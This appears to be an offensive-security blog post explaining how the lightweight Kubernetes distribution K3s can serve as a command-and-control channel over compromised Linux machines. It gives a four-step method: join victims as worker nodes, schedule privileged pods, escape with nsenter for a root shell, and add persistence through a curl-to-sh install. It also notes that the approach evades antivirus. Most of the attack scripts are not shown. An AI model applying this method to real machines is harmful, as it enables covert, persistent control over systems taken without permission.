They told me I could be anything, so I became a Kubernetes node – Using K3s for command and control on compromised Linux hosts

In their RSA 2020 talk Advanced Persistence Threats: The Future of Kubernetes Attacks, Ian Coldwater and Brad Geesaman demonstrated that K3s, a lightweight version of Kubernetes, can be used to backdoor compromised Kubernetes clusters. This post describes how K3s can also serve as an easy command and control (C2) mechanism to remotely control compromised Linux machines.

Kubernetes from 10,000 feet

Kubernetes is an orchestrator allowing to schedule container workloads on multiple nodes using a single API. Below is a purposely extremely simplified and inaccurate schema of what Kubernetes looks like in terms of architecture:

(Seriously though – do not show this to anyone having worked with Kubernetes before. It’s simplified and inaccurate on purpose.)

The Kubernetes master node is the one running the unified API which can be consumed by any client. Each worker node runs a kind of Kubernetes agent which exchanges with the master to know what containers it should run.

Clients usually interact with Kubernetes using the kubectl tool after having pointed it to the cluster’s API address and feeding it with API objects in YAML format.

K3s

K3s is simply a lightweight version of Kubernetes and is especially interesting for spinning up a Kubernetes cluster in a matter of seconds – literally:

$ wget https://github.com/rancher/k3s/releases/download/v1.17.4%2Bk3s1/k3s -O /usr/local/bin/k3s
$ chmod +x /usr/local/bin/k3s
$ k3s server
INFO Starting k3s v1.17.4+k3s1 (3eee8ac3)
INFO Cluster bootstrap already complete
INFO Kine listening on unix://kine.sock
INFO Running kube-apiserver

From there, you can use any standard kubectl command and prepend “k3s” to it to use your new cluster:

Adding new nodes to a K3s cluster

The previous commands we ran started a master node. K3s also makes a breeze the process of adding new nodes to a cluster.

If we now list the nodes in our cluster using kubectl (which will in turn hit the master node API), we can see two nodes:

Executing pods on a specific cluster node

In Kubernetes, a pod is the minimal unit of computing that can be scheduled. A pod is essentially one of more containers sharing resources together, and it often contains a single one – just like our previously created nginx pod:

Our pod runs on the node named master. Although typically an anti-pattern in Kubernetes, it is possible to schedule a pod to run on a specific node using a node selector:

Let’s keep this in mind, we’ll need it later.

Using K3s as a C2

In their RSA 2020 talk (video, slides), Ian Coldwater and Brad Geesaman demonstrate how K3s can be used to backdoor a compromised Kubernetes cluster. But it can actually be used to remotely control any Linux machine, without any specific requirements – especially, the machine does not need to have Docker installed and the technique below works on a fresh Ubuntu Server 18.04 install. (It does need containerd, the container runtime used by K3s, which is installed by default on Ubuntu.)

On a high-level, here is how we can use K3s as a C2:

1. Spin up an initial K3s master node
2. Install K3s our compromised machines
3. Have the compromised machines join our cluster as worker nodes
4. Schedule privileged pods on them to execute commands

We’re already comfortable with steps 1 to 3 from the previous sections! Except now, our nodes are compromised machines.

Scheduling privileged pods

Remains step 4. How do we schedule a pod to run on a compromised machine in such a way that it allows us to have a root shell on it?

• We schedule a privileged pod to run on a compromised machine. Privileged pods can essentially (by design) escalate their privileges and access the host without restrictions.
• In the container running in the pod, we use nsenter to break free from the container

A more detailed explanation is provided by Alexei Ledenev on his blog. Here’s an slightly modified version of his script:

Using this script from the master node, we can now gain a root shell on any of the compromised machines:

Scaling up

We can easily run commands on all our compromised machines we control via this C2 channel by looping over the cluster nodes and each time scheduling a privileged pod just like before. Here’s a quick’n dirty implementation:

So what?

Let’s face it – this is more fun than it is useful in a real-world engagement, but it always feels satisfying to play with technology and use it in ways it wasn’t intended.

That said, as opposed to popular post-compromission frameworks such as Metasploit, K3s will likely not get flagged by anti-viruses. Plus, you’ll be able to brag that you’re using Kubernetes for your C2, and who knows, maybe even buy your own .io domain name?

Thank you for reading, and let’s continue the discussion on Twitter!

Additional notes

• In the examples provided, K3s won’t be persistent, meaning that compromised machines won’t phone home to the master node once rebooted. To make it persistent, use the installation script curl -sfL https://get.k3s.io | sh -. Yes, it’s pipling curl to sh.
  
• Assuming you used the install script above, K3s can be completely uninstalled from a machine by running /usr/local/bin/k3s-uninstall.sh. You can then, on the master, remove the machine from your cluster with k3s kubectl delete node xxx.